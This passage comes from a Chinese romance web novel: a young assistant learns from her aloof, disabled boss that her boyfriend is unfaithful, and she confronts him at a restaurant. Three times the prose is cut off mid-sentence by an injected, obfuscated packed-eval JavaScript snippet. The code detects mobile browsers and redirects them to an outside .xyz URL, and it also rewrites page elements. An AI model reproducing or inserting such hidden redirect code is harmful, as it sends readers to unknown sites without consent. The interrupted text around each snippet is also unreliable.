他垂下原本按在太阳穴上的手,轻声道:“谢谢。” “这本来就是我的工作,应该的。” “我感谢的部分是:你没有用泛滥的同情心去回避我‘不方便’的客观事实。” “我只是觉得没有必要夸大这份‘不方便’而已。”林棉道,“无论对于你还是我,都是可以适应的,不是吗?” “如果我说,我是被迫适应得很好呢?”许汀舟反问。 “也许吧。”林棉的心有些暗暗痛楚,“但无论起因是如何,现在的你,在我看来已经是一个很棒的人。也许,你会觉得如果没有发生一些不幸的意外,你可以成就更好的自己,但那毕竟只是假设。就像……在你考虑招聘实习生的时候,只要当时的想法上有一点点的偏差,现在做我这个位子的,就会是另一个候选人。他可能比我更合适这个岗位,只是,已经没有机会实现这种假设了。可是我想你也不会因为有这样的一种可能,就把我给炒掉。至少会给机会,让我证明自己也还不错。” “你的类比很有意思。”他说,“所以,你的总结词是?” 林棉这时才反过头来意识到自己说了好多不像自己风格的话,这时倒反而总结不出重点来了,咽了口唾沫,她怯怯地挤出了句:“我想,我要说的大概是四个字吧,额——活在当下?”当下的当下,她有点想咬掉自己的舌头。 许汀舟笑得扶住额头:“好的,我知道你的重点了:你是想让我确信,你刚才做假设的那个‘更优’候选人是不可能出现的。起码,不会有人让我在头疼发作的时候还成功笑得出来。” “我成功了吗?”林棉咬唇笑。 “毋庸置疑。” 9. 玫瑰与雾水 下班前,林棉接到关柏延打来的电话,这才想起前两天他出差去日本,今天才回家。 关柏延打电话约她吃晚饭,林棉想着自己作为女友要表现得体贴些,便道:“今天才回来,要不歇歇明天再约吧。” 关柏延笑说:“怎么,你就不想我?” 这本是一句恋人间最寻常的打趣话,倒问得林棉一怔,只小声应付了句:“不是……” 关柏延也未再多缠,只说:“我不累,晚上下班我来接你。” 林棉挂了电话,竟有些恍惚。 她忽然觉得有些淡淡的“愧疚”,关柏延出差的这两天,她似乎……真的没怎么想这个男朋友。不过她向来不是个钻牛角尖的人,加上没几分钟又有工作插/进/来,不一会儿就把这一茬给抛到脑后了。 林棉不得不承认,关柏延今晚的安排颇合她意。 她从来没有来过这样高级的饭店。小而精致的包间里,红酒、白玫瑰和粉色的蜡烛营造出唯美的气息。在旁侍立的小提琴手让这一场景更显出几分戏剧化的浪漫。还没等林棉从惊喜诧异中走出来,关柏延打了一个响指,小提琴拉出了悠扬的小夜曲。 完蛋——林棉自己知道:那些听上去很俗的套路,在她身上完全奏效了。 不自主地露出微笑,她忽然有了几分沉浸在恋爱中的真实感。 在今晚之前,她还总觉得关柏延只是自己的相亲对象,尽管两人已经约过饭、看过电影,也说过一些恋人之间才有的情话,他却始终未曾给她真正在与一个男人谈恋爱的感觉。 她眼中的关柏延并不是那么感性多情的男人。诚然他各方面看上去还不错,她对他并无不满,但她总觉得和他之间总是少了点什么。她安慰自己要切合实际,不要胡思乱想,可那有什么用?她终究是个年轻的女孩子,爱情的甜头,她远未尝够。 侍者已经为他们倒好了两杯红酒。关柏延举杯:“为了我们的小别重逢。” 林棉与他碰了碰杯。高脚杯里的液体欢快地轻颤了几下,随后被两人缓缓饮下。 林棉酒量普通,只是看关柏延整杯干了,才配合地也干光了杯中酒。红酒的味道她谈不上喜欢,反而觉得在舌根有些涩涩的,便舀了一小勺沙拉送到嘴里解解味。 许是看出她平时并不爱酒,关柏延笑道:“你也真实在,我干你随意就好,又不是去应酬客户,不得不喝。” “一杯不要紧的。”林棉说,“反正今天高兴,喝点酒应该的。” 关柏延道:“你这么说,我也挺高兴的。” “对了,我妈说让你抽空来家里坐坐,你这周末有别的安排吗?” 除了转达母亲的话,林棉心里也想让关柏延和自己的家人熟络一些。尤其是小谷。虽然关柏延知道小谷的存在,但毕竟没有和孩子接触过,小谷也不知能否与他亲近。这一条可是她谈恋爱需要额外考量的重要指标。 “好啊。”关柏延简短地道,并无他话。 “你会不会有点紧张?”她觉得他的态度有一点冷淡,不自觉地便为他的心理方面着想。 “第一次上门嘛,总有一点的。” “我妈应该会喜欢你,至于小谷,她从小并不很怕生,你只要对她好,她也会接受你这个……”林棉打了个磕巴才接下去,“叔叔的。” 小夜曲停了。 关柏延向小提琴手致谢后,示意他和侍者走出包厢,随后才道:“这些问题,总会解决,你不用太担心。” 林棉觉得他的口气并不很暖,但也未再纠结。因为很快关柏延又殷勤地为她切起了牛排,将自己面前切好的那盘换到她的面前。 她问了些他在日本出差时的经历。他回答得很简要,无非就是白天忙公事,晚上随意逛了逛街。随后他又像很了然她的想法似的,从包里拿出一个蓝/丝/绒锦盒,打开道:“我明白了,你肯定是在旁敲侧击问我有没有给你买礼物。你看,再忙我也记得的。” 林棉打开锦盒,里面是一条珍珠手链。珍珠不算很大,但色泽很美,白中透着微微的樱粉色。 “日本的海珠,是不是很漂亮?光泽也比淡水珠好很多吧?” 林棉对此反倒近乎一窍不通,只是觉得这串珍珠真的很美。 “会不会很贵?”林棉从小接受母亲的教育是,不能收别人太贵重的礼物,尤其是来自异性的。她不太确定,自己接受关柏延的这份礼物是否合适。 关柏延从锦盒里拿出手链,打开龙虾扣,笑着替她戴到手腕上:“那要看送给谁了,送给我女朋友的话,不算贵。” “哦。”林棉低头红着脸笑,心里挺甜蜜。 这餐饭吃得很愉快,也就不觉得时间过得慢。等他们走出包间的时候,餐厅已经快打烊了。 两人都喝了酒。关柏延叫了代驾,说是几分钟就到。在停车场等代驾过来的时候。林棉看到一个熟悉的身影。 虽然只是背影,但那人的样子太好辨认了。他的司机刚为他拉开车门,他正准备跨进车子里。 许汀舟离他们并不算近,中间隔了一长排停泊的车子。但林棉还是冲他打了招呼:“嘿,许先生!” 许汀舟耳力不错,几乎是立即回头,右边的袖管随着他的扭转身体轻微晃动了两下。 “你好。”他的声音有些客套。 这也没什么,他们本来就只是上下级关系,林棉并不觉得他的态度有任何问题。她对身边的关柏延道:“我老板在那里,要不要跟我一起过去打个招呼。” 关柏延的微张了两下,却没有马上回答,最后眼皮振了振,道:“不了,我也不认识他,我在这里等你,你过去打招呼吧。” 她觉得这也无不妥,就快步朝许汀舟的车子走过去。 许汀舟似乎也并没有上车的意思,靠着车身等着她走过来,一双眼睛却朝着关柏延的方向在看什么。 “许先生,你也在楼上吃饭吗?”林棉站定后问道。与此同时她这才发现车子的后排已经坐了一个人——是个女生。 “对不起我是不是耽误你们时间了?”她有些抱歉,直觉上,她觉得自己可能是打扰到了许汀舟的私人时间。 “没关系。”许汀舟说,“我们也刚吃完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800348|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。” 林棉当然不会去问他口中的“我们”是怎样的一种关系。尽管,有些莫名的八卦心思在隐隐作祟。她有些讨嫌自己,怎么居然会有探寻老板感情生活隐私的兴致。只是她有贼心没贼胆,最大的胆子也就是朝车里的女孩偷偷多看两眼罢了。可惜车里的人一直微微低着头,又是晚上,停车场的灯光不太亮,她也没看清。 “你那位是?” 尽管许汀舟一未用手指,二未用眼神看,但林棉很快反应过来,他指的人是关柏延。 她倒没想到,许汀舟会问自己这个。 “我男朋友。”要说今晚之前,她可能对将这一称谓冠在关柏延的身上还有些说不出口,今晚之后,她似乎能够坦然地向周遭的人介绍他的身份了。 她以为许汀舟只是顺便闲聊一两句,没想到他又问:“交往很久了?” 她老实回答:“不算久。” 许汀舟道:“那还好。” 她莫名:“为什么这么说?” 他明晃晃地眸子望着她的眼道:“因为我不希望我的手下太好骗。” 她一头雾水,迷茫更深:“什么意思?” 许汀舟道:“分手吧。那个人不值得信任。” “他不值得信任?难道你要我相信你没头没脑的话?” 许汀舟的鼻腔冷哼了一声:“比起那个人,我可信得多。至少我没必要坑你。” 说得没错,是没必要。 林棉完全同意他的话。她也不是怀疑许汀舟有什么不良动机,只是,这样云遮雾绕的说话方式,她理解不了啊。 难道,就因为他的一番话,她就和前几分钟还浓情蜜意的男友闹分手?这也太荒谬了吧? 许汀舟扶着左腿跨坐进车里,调整了一下坐姿道:“我不是个多管闲事的人,今天已是破例。你信最好。” 说完,他关上了车门,不再给她任何解释。 她呆呆地看着他的车驶离了停车场,半天没回过神来。 关柏延不知何时已经来到了她的身旁,一手搭上了他的肩膀。 她本能地躲开了一下,不知道为什么,尽管许汀舟的话她完全理解不了,但就是感觉被他在心里种下了一根刺。方才对关柏延敞开的恋人心扉,刹那间关闭了。对于来自于他的身体接触,她产生了抗拒。 “对不起。”理智又让她对关柏延产生亏欠感。“我有点混乱。”她不知道该怎么解释现在的状况。 关柏延显得小心翼翼:“怎么了?和老板哪句话聊得不愉快了?” “没有。”她掩饰道,“我们老板的脾气有些古怪,不过人并不坏。” “也难怪啊,据说身体有残疾的人,多半心理也有问题。” “柏延!”林棉听了他的话有些不高兴,“别这么说人家。” 关柏延道,“好了好了,走吧,不去管他了,我们的代驾已经来了,快去车里吧,我送你回家。” 看着关柏延的手臂朝着自己的腰肢揽过来,她略一蹙眉,赶在他的动作之前,绕走到了他的前面,抢先一步坐进了车里。 10. 高贵的嘲讽 第二天再办公室见到许汀舟的时候,基于昨晚与他的对话,林棉略感尴尬。许汀舟倒是神色如常,似乎一点也不记得自己曾对她说过什么。林棉想,或者他真的不觉得自己昨晚的话有任何不妥当。 林棉虽然就坐在许汀舟办公室门口办公,彼此间直接的工作接触其实并不太多,更多时候她是在为苏心蕴打下手。今天派给她的事不是很多,一空下来,她就难免胡思乱想:许汀舟昨晚古怪的“建议”让她心神不宁,她竟无法置若罔闻。她并不气他莫名其妙干预她的感情选择,反而正因为她觉得许汀舟不是那种喜欢插手别人生活的人,所以更加不安。 中午吃饭前,她收到男友的微信,与她约定好周六去她家上门的事宜。从时间到准备什么礼物,关柏延考虑得无一不全。她简短回应,对于他的提议一切都说“好”。 放下手机,林棉的心忽然迷惘更深。她蓦然起身,敲门走进许汀舟的办公室。 许汀舟的左手仍然放在笔记本键盘上,只微微抬了下巴,看了她一眼。 “对不起,许总,打扰一下。”她觉得自己很是冒昧,但就是忍不住要找他把话说个明白。 他的左手从键盘上滑开,身子向后略仰:“为昨晚的事?” 她没想到他已然猜透,便也干脆地回应:“是。” “不信?” “谈不上信与不信,只是……” “那就是不信我的话。”他哂笑道,“请便。” “我总不能无缘无故就让人出局吧?”她争辩道,“他对我很好。” “这世上,有些人的好是很廉价的。”许汀舟一脸不屑,“你需要这种廉价的体贴吗?” 林棉看着他的神情、听着他的语气,积压了一晚上的不悦忽然发酵,忍不住冲口而出道:“许总是觉得,‘高贵的嘲讽’比较适合我?” 许汀舟似乎没料到她的反应,神色一怔。但他显然在这一轮的情绪克制中比林棉略胜一筹,只淡淡地回了一句:“我想,是我应该收回我‘多余的建议’。” 林棉此刻理智又占了上风,她有些后悔自己刚才的语气不善。毕竟,她仍然要在眼前这个男人手底下工作,而且,许汀舟虽然有些不可理喻之处,但她并不因此认为他是那种恶意中伤别人的人,许是中间有什么误解也未可知。 他的面色不豫,傻子也看得出来;左手握紧了鼠标,似乎自顾自开始工作,不再理会房间里的另一个人。 林棉只好说:“我出去工作了。” 许汀舟连眼皮也没抬。 她走出来的样子简直像没了魂。 苏心蕴朝她看了一眼,道:“你挨训了?” 她跌坐在椅子里,摇了摇头。“我想,可能比挨训更糟。” 苏心蕴的眼里好奇中掺杂了担忧。 “也许,算是和许总……吵了一架?”她胡乱揉了揉自己半长的头发,把脸埋进了胳膊弯里,趴在了桌面上。“我到底做了什么啊!”闷声闷气的哀叹从她的胳膊肘里传出来。 当林棉再次抬起脸的时候,苏心蕴已经不在自己身旁。 下意识地抬头往许汀舟的办公室看了一眼,从半遮的百叶窗里,她看到了苏心蕴的身影。 苏心蕴是为她得罪老板的事进去找他的吗? 她不得而知,只是越想越郁闷。对!就是很郁闷!郁闷的情绪远远大于单纯得罪一名上司的恐惧感。 她点开lync上与许汀舟的对话框。 很想对他表达些什么,可她打不出一个字来。说“对不起”吧,她不甘心,在她心里,自己的态度即使有问题,许汀舟那方面也不是无刺可挑的。她不想“谄媚”到那种地步。 或者,发一个表情符比较合适?既可以缓和僵持的气氛,又显得比较自然? 微微示好,也不算太亏“气节”…… 她揉了揉太阳穴。鼠标轻轻在那些小小的表情符上滑动: 红心、红唇、红玫瑰…… 通通pass掉! 蓦地,她的眼睛落到了一个“咖啡杯”的表情符上。一霎间想到不久前他曾经夸赞过她泡咖啡的手艺,不禁莞尔一笑。 就它了! 才点了发送,就看到苏心蕴从老板的办公室里走了出来。林棉不知为何有些心虚,便把与许汀舟的对话框给最小化了。 苏心蕴并没朝她走过来,甚至没有朝她的方向多看一眼就兀自回到自己的位子坐下工作了。 她的眼睛盯着笔记本屏幕,一眨不眨。 不一会儿,对话框闪动了起来。 她兴奋地点开,如她所愿,真是许汀舟回的: ——一杯虚拟的咖啡就想求得上司的原谅? 林棉暗自撇嘴:谁说要你原谅了!你自己也很有问题好吧? 她当然不敢这么回复。 可是……等等!她再一次阅读了一遍他发来的短小句子,猛地一拍脑门,突然有了更深层次的领会! 一杯虚拟的咖啡……虚拟……难道他的意思是…… 她笑了,如一只快乐的小兔一般起身跑向茶水间。 她端着咖啡杯进去的时候,心里还是有些忐忑的。 在她放下杯子后,许汀舟主动对她说了一句:“谢谢。” 她的心释然了大半。“不客气。”她说。 许汀舟呷了一口咖啡:“没有给我加点料什么的吧?” 林棉知道他是开玩笑,神色和语气也松快起来:“喝都喝了,还问?晚了点吧?” 他沉吟道:“喝下去的大概不能吐出来,但是,如果搞清楚喝下去的东西有问题,至少可以停止继续喝,不至于闹到无药可救。” 他的话中有话,她听得出来。好不容易缓和了气氛,她也不想和他争辩。而且,她也觉得他或许有他的道理,只是可能自己的悟性太差,还没有领会到背后的精髓。 “我无意干涉你的生活。”许汀舟道,“但我不至于是指望你过得更坏的人。我们并无利益牵扯,你大可以相信我的善意。” 林棉相信他的善意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800349|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可能我比较笨,看不清楚真相。”林棉因疑惑而焦虑,“所以,可不可以拜托您把话说明白一些?我男朋友哪里得罪过您吗?还是您知道他什么不可告人的秘密?” “仅仅因为一个人得罪过我我就去中伤他——这种事我做不出来。”他道,“疏不间亲的道理,我也是懂的。我不意外,在我和他之间,你会比较倾向于相信自己的男朋友。” 是吗?真的毫无意外吗? 林棉扪心自问的结果,居然令她自己有一丝震惊:坦白说,她发现自己已经因为许汀舟的话对关柏延产生了信任危机。或许是因为关柏延和她交往时间尚短?不,她无法说服自己,毕竟,她来到许氏的公司工作,时间也长不了多少。和许汀舟交际寥寥,多半是在工作场合浅浅的交流,远谈不上知心故交的地步。 很奇怪,她对他的信任的来源多半不是理智判断,而是一种本能。他固执、甚至有些地方存在偏执;他待人接物少见热忱,时见阴郁、不乏冷酷,对于很多人来说,他不是个很好相处的人。 他与她在职位上天悬地隔,在经历上毫无相似,性情上也未见得有多少重合默契,但是,短短的时间内,不知不觉中她竟然对他的存在有了几分倚重感。她发现自己无法忽视他给出的意见——无论是针对工作还是她的私人领域。 “你出去工作吧。”许汀舟冷淡却不失礼貌地对她说道,“关于这件事的谈话,到此为止。” “不。”林棉望着他,下定决心追问到底,“我还是想弄清楚原因。” 他似乎没料到她的反应。“你可以选择不信。” “问题的症结在于我几乎已经要相信了。”她直直地看着他的脸,“如果我真的不信你的话,我想我不会给你泡这杯咖啡。因为我会很生气,即使你是我的老板,我也不接受别人无端中伤自己的朋友。” “朋友?”他的语调意味深长。 她一愣,接着回道:“都一样,朋友或者男朋友。” “也就是说,你不认为我的话是无端中伤,而是‘有的放矢’?” 尽管心里有些膈应,但她还是承认了:“对。我认为,你有你的理由,足以说服我的理由。” “我为什么要费力说服你?”、 “如果你不期望把我说服,你就不会对我提出那样听上去不太合乎常理的建议。”她说,“你的本意总不会希望你的好心劝诫被我当做耳旁风吧?” 许汀舟看着她认真的模样,忽然发笑:“我真不该破例当个多管闲事的人。好吧,下班之后,我再和你谈这件事。你先回去工作,晚上我请你吃饭。” “请我吃饭?”她吓了一跳,“为什么?” “罚我自己啊。”他的声音沉稳认真。 “为了什么?”她已经完全昏掉了。 “惩罚我自己一时兴起,多管闲事,现在可好——甩不脱了。” 林棉觉得如果在卡通片里,她现在的形象一定是头顶一个大问号加感叹号! ——不,是无数个! 11. 影婆娑,灯明亮 走出许汀舟的办公室不多会儿,许汀舟从Lnyc上发来一个餐厅地址,并且留言: ——想了下,我们分开去比较方便,就是这下得麻烦你自己打车过去了。 林棉立马打了三个字:不麻烦。 她当然理解许汀舟的用意,无论对于他还是她来说,避嫌是必要的。她可不想在公司以花边新闻出名,许汀舟想必更是如此。 林棉下班走的时候,特意朝许汀舟的办公室里张望了一眼——灯亮着,他还在。 她倒不担心他会迟到。他有专职的司机接送,想必晚不了多久。许是特地与她错开些时间离开公司也说不定。于是把转椅推进办公桌,起身离开。 餐厅地址离这里不远,打车起步费,公交两站路。只是公交站离这里还要走上十分钟。在打车和公交之间纠结了两分钟,她决定还是打车去。许汀舟是她的老板,没有让他等的道理。 餐厅建在一栋漂亮的红砖小楼里,在二楼有一个露台,非常幽静。 林棉试着报了许汀舟的名字,果然,他已经订了位。 侍者引她上台阶,她想到了什么,便问:“对不起,小姐,一楼还有空位吗?” “有的,不过大多数客人喜欢二楼的视野。您要换一楼的桌子吗?” “对,就坐一楼好了。”她说。 许汀舟的腿不方便,平时看他走平地都拖着腿,这种老式洋楼的台阶又高,对他来说太吃力了。 刚坐下,他便来了。他身形挺直地站在门口,一双黑幽幽的眼睛似乎在寻找她的身影,她不自觉地站起身,朝他挥手示意:“嘿!” 他看见了她,朝她走过来。 他的身体不再保持挺拔,缺失的肢体让他的步伐看上去有些失衡。 林棉看着他。 周围的食客看着他。 服务生也看着他。 许汀舟却似乎什么也没有看。 “没有让你等很久吧?”他刚要把椅子拉开一点坐下,侍者已经殷勤地先他一步替他拉开了。 他说了谢谢,左手扶了扶桌沿,身体往右微倾,缓缓坐下来,又用左手将歪在外侧的膝盖有些僵直的左腿收好摆正。 “见笑了。”他的声音有些黯哑低落。 她知道他指的是他此刻的模样。虽然衣着仍是光鲜,但在人群中,他最为惹眼之处却是他最不愿为人所见的窘迫。 她竟不知道如何开解他,只是摇头,很认真地冲他摇头。 他侧过脸,小声唤来侍者点餐。 林棉并不在意今晚吃什么。她甚至忘了这顿饭预先设定的主题是什么。 第一道冷菜上的是蓝莓山药。 “先吃点甜的,因为我接下去要说的话,可能会有点让你痛苦。” 许汀舟的话似玩笑又似认真。 她一面动筷,一面随口嘟囔了一句:“难道你要告诉我,我男友一脚踏两船,是个渣男?” 许汀舟也没有接话。 林棉意识到他的反应,心思一转,蓦然叹了句:“我去!” 看样子真是被自己不幸言中了? 筷子已经夹到了一片山药,在放入盘子与送入口中这二者间,她犹豫了一秒钟,选择了后者。 许汀舟盯着她看了良久,直到她闷声夹起第二块山药后,他的嘴角露出了一丝笑意,左手举筷伸向盘中,道:“看来是我多虑了。” 林棉咽下嘴里的菜,问道:“这怎么说?” “你不怎么伤心嘛。” 林棉想了想:的确。 但伤心就算没有,生气还是免不了的,好奇更是免不了,她干脆问他:“你怎么知道的?” “我从日本出差回来的那天,他和女伴和我只隔一条机舱走廊。” 能被许汀舟这样高冷的人注意到,想必他们的亲昵程度很抢眼。林棉心想。 “而且很巧,他身边的女人我认识。没办法,在商场打滚总是有机会认识比较多的人。不过,我并不打算告诉你对方是谁。关于这个我不会说,也不认为这很重要。我想,你那个男朋友,对她未必是真爱,只是某种权益交换。——这也是让我更看不起他的原因。” “交换?”林棉苦笑道,“那么,我身上又有什么值得他交换的东西?” “总之不会是爱情。”许汀舟道。 林棉无言以对。听到许汀舟这句话,她非但没对关柏延责备加深,反而开始扪心自问:爱情这个东西,她何尝有?就算关柏延怀揣着一颗赤诚的心,她恐怕也没办法拿出十足的热忱相对。想到这里,她反而原谅了关柏延的行为。 林棉问:“对方是谁当然不重要,可是,我奇怪的是,你又为什么要与我特意强调他们之间并非真爱呢?事到如今,这还要重要吗?” 许汀舟说:“我以为这样说你会好受些。”说着他又加一句,“但我并非为了让你好受就说昧心话。” 她想了下他的话,对他的好意更加了然和感激。 只是,当她从一开始的惊诧中回过味来之后,心中不禁冒出了一丝凄然。 毕竟,在自己的上司面前被揭穿男朋友是个渣的事实,还是还蛮尴尬的。 她甚至不太敢正视面前的许汀舟。他的眼神太犀利,她太深邃,让她有些想避开。 她偏过脸去,望向餐厅的落地窗外。树影婆娑,街灯明亮。她努力平复着自己的心境,却在即将成功之时,又再次被勾起了波澜。 许是看到她神色有异,许汀舟问道:“怎么了?” 从他的角度,他看不到刚刚从店外推门而入的那两个人。 可是,她恰好看到了。 她的神色变化实在太明显,以至于许汀舟回头顺着她的视线扭头看了过去。 关柏延的眼神表明他也注意到了林棉和许汀舟的存在。但他没有走过来打招呼,反而带着女伴朝楼梯方向走。 林棉不由自主站起身来,离开桌子。 许汀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800350|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟忽然伸手拉住她:“你想怎么做?” “没想好,”她坦白底回复他,“但今天这件事得有个了断。” 她感受到他手指的温度,眼睛落在了他的手上,许汀舟立即放开了她。 她正要跟着关柏延跑向楼梯,却听他沉沉地道:“等一下——” 她看着他按着桌角站起身,忙不迭扶住他,恨不能把他按下去:“不用不用,你不用管我的。” 许汀舟轻轻拿开她的手,似笑非笑:“该说这句的是我:我管我的闲事,你不用管我。” 林棉拿他无法,只好放慢了脚步跟在他的身后。 脚步放慢后,她的情绪也冷静下来。 她并不想和对方大吵大闹,除了被欺骗玩弄的愤怒感,她对关柏延的感觉也没剩多少了。 ——今晚把话说清楚,就各自转向而行吧。她打定主意。 来到楼梯前,许汀舟作了个手势让她先上楼。 林棉略一思量,照着他的意思先上了台阶。 她当然并不心急“捉/JIAN”,只是不想令他在她面前感到尴尬。她能想象,以他的骄傲,必不愿意被下属看到自己走楼梯时艰难蹒跚的模样。 楼梯台阶是木质的,人踩在上面的声音会格外得响。 她听着他的脚步声,强忍回头的冲动。直到自己走上了二楼的平台,才下意识地朝着楼梯的方向往下看。 他的左手扶在栏杆上,右腿先跨上台阶,左手再掰着左腿向上抬。他的左膝似乎不能自由地弯屈,只能被动地折成一个僵硬的弧度,依靠大腿的力量和左手的帮助才能踩上台阶。 他的样子让她自责。在这一瞬间她甚至觉得特地跟来和关柏延理论完全不值得。 这一刻,林棉忘了自己冲上二楼的初衷,只是定定地站在楼梯口,等着许汀舟走完最后一级台阶。 直到他终于走上二楼,她才舒了口气,望着略带倦容的他,一时无言。 “去做你要做的事。”他说。 她点点头,转身寻找关柏延的身影。 他们在靠近露台的桌子坐着。身旁站着侍者,关柏延对面的女子捧着菜单,似乎在点菜。 林棉心中毫无波澜,只想尽快结束一切。她目不斜视地朝他们走过去。 关柏延看了她一眼,眼底闪过一丝强做镇定的神色。 “好巧。“他开口道,“我和领导在这里吃个饭,谈些事。“ 林棉觉得可笑,也真的笑出了声:“怎么这么巧?我也是呀。” 关柏延嘴角抽了抽:“那什么……我现在有点事,我们回头聊吧。” 林棉道:“不必了。”她褪下手上的珍珠链,“我没什么事儿,就是把你的东西还给你。” 关柏延还没答话,他对面的女人倒笑了起来,道:“我去露台抽根烟,你们谈吧。一根烟的功夫,够了吗?许总——”那人朝着刚刚跟上林棉的许汀舟笑眼想看道,“要不要和我一起回避下?” 12. 心事一盏酒一杯 许汀舟看向林棉,目光似在征求她的意见。 “不需要。”林棉道。虽然此刻场面难堪,但她觉得大可不必让许汀舟为此移步。他爬楼梯的样子仿佛还在她的眼前晃,她不希望他为了她的事再受累,哪怕只是多走一步。 “也好。”许汀舟微微靠向身后的一根廊柱,语气浅淡,目色如霜。 关柏延携来的女伴耸了耸眉,转身去了露台。 “林棉,”关柏延缓缓站起来,绕到她的身旁,清了清嗓子道:“我对她和对你的心不一样。” 林棉觉得这种说词俗套拙劣到极点,她连回应的兴趣都没有了。 关柏延却仿佛将她的沉默当成了一种退让,愈加激烈地为自己辩白道:“你应该看得出来,她的年纪比我大很多,她是我的上司,丈夫早死,没有孩子,她需要的,也不是爱情,只是要人填补空虚罢了。当然,她在工作上也很提携我。我和她都没有缔结婚姻的打算,我也和她明说过,我快结婚了,我和她的这段关系不会长久。她呢,也赞同我的想法。” 他蓦然伸出手从背后揽住她的腰,林棉几乎惊跳起来,打了个冷战,觉得恶心得想吐。 “你先放手。”她下意识地望了望许汀舟,他蹙着眉的样子看上去阴郁极了。她不想在他面前表现出高呼挣扎,那样只会让她自己更加感到窘迫。她只能尽力保持平静,出声制止关柏延的亲昵举动。 关柏延却没有马上放开她:“好了好了,我理解你的心情,要不然,从现在开始我就和她了断。” 林棉在他的臂弯里无奈地扭动着,欲哭无泪。 许汀舟忽地走了过来,伸出左手拉住了她,他很用力,竟然将她从关柏延的手臂桎梏中解脱了出来。林棉甚至惊愕地发现,不知他是否是因为担心自己会被关柏延再次钳制住,他搂住了她的肩膀,几乎是把她护到了自己身前。 “你什么意思?”关柏延在身后叫嚣道。 “带她离开。”许汀舟头也不回。 林棉觉得,不应该把许汀舟扯进这场混乱里,扭头对许汀舟道:“许总,我总要和他说清楚的。这里大庭广众,他也不能把我怎么样。” 他点头:“坐下说。”随即将她按到一张空椅上,他自己则扶着椅子的靠背,丝毫没有挪开的意思。 “关柏延,我一点也不想干涉你的私生活。”林棉的心此时格外冷静。“我们之间没有任何契约,你是自由的。” “你要相信,我说要娶你、照顾你的生活、接纳你的孩子,都是认真的。”关柏延道。 林棉想了想,打算给对方一个台阶下:“可能,是我自己没有想清楚,我还没有想清楚,自己有没有做好心理准备走入婚姻吧。我自认为不太适合你。所以,今天这样的局面……也好,我们都可以选择自己想要的生活。” 她以为自己这番说辞已经足够婉转,没想到,关柏延竟然阴阳怪气地长“哦”了一声,道:“今天这事儿恐怕还合了你的意了吧?你又在这装什么清高?” 林棉被激怒了,刚才自己好心给人留一线,没想到对方反咬一口。 要不是顾忌到许汀舟在场,她多半是克制不住自己的脾气要与他彻底撕破脸了。 “随你怎么想,”她僵硬地微笑道,“我们到此为止。” 她站起身,许汀舟也紧随其后,转身走向楼梯。对于关柏延,多说一个字,她都觉得是在浪费生命。 “你比我好不了多少。”关柏延的声音充满嘲讽,“你今天来这里又为了什么?只是单纯陪一个残废吃饭?谁知道吃完饭你们还会干什么!” 林棉看到转过身,怒气正要发作,却看到咫尺之内的许汀舟肩膀轻微抖了一下。 “一个字也别听。”她难过极了,比起发火,此时此刻她满心只想安慰许汀舟,“他是个混蛋。” “我是混蛋?你又是什么好料?”关柏延的声音充满不屑,“说是年纪轻轻收养了一个弃婴,谁又知道是不是你自己不检点生下的孽种?我只是不去追究罢了。像你这样的情况,心气还要高到天上去吗?怎么?比起我这个打工仔,还是找个缺胳膊少腿的有钱人更合意是吧?” 林棉气得发抖:一个人,竟然可以卑鄙下作到如斯地步。经此一事,她大开眼界。 “你有资格追究什么?”就在她瞠目结舌之际,许汀舟开口了。“她有个孩子,弃婴又怎么样?亲生的又怎么样?她都在负起一个母亲的责任!她没有可什么丢人的,也当然值得拥有幸福的婚姻。而你,不是那个良人。”他的目光如钉子一样定定地锁住了关柏延的脸,“朝别人泼脏水洗清不了你自己。” 关柏延气急败坏地就要来扯许汀舟的衣领:“你啰嗦什么?有本事别光动嘴啊!” 林棉准备举起手包朝关柏延的手砸下去了,却有人抢先一步拉住了关柏延——竟是他的女伴兼上司。 “许总这话说得真好。”那女人妩媚一笑,眼尾眯出几根细纹来,却别有一番风韵。 关柏延悻悻地垂下手。 “你可真会挑动手的对象,依我说,这也不算有本事。”那女人瞟了一眼关柏延,又转而对许汀舟微笑道,“小许总,抱歉了,平白让你卷进这场无聊的风波里。” “没什么,齐阿姨。”许汀舟对她十分客气,“自己愿意趟的浑水,也就不算是‘平白’卷进去的。” “嗯,”这个“齐阿姨”似乎对他的说法很赞赏,连连点头,“你们慢慢吃,我们先走一步。替我向你父亲问好。”说着,真就带着关柏延一同结了账离开了。 “我们还继续吃吗?”林棉问许汀舟。 “为什么不呢?”许汀舟反问,“如果你不介意,可以坐到露台上去吃。” “为什么?”这个时节,天气有些凉意了,选择晚上在露台吃饭的人并不多。 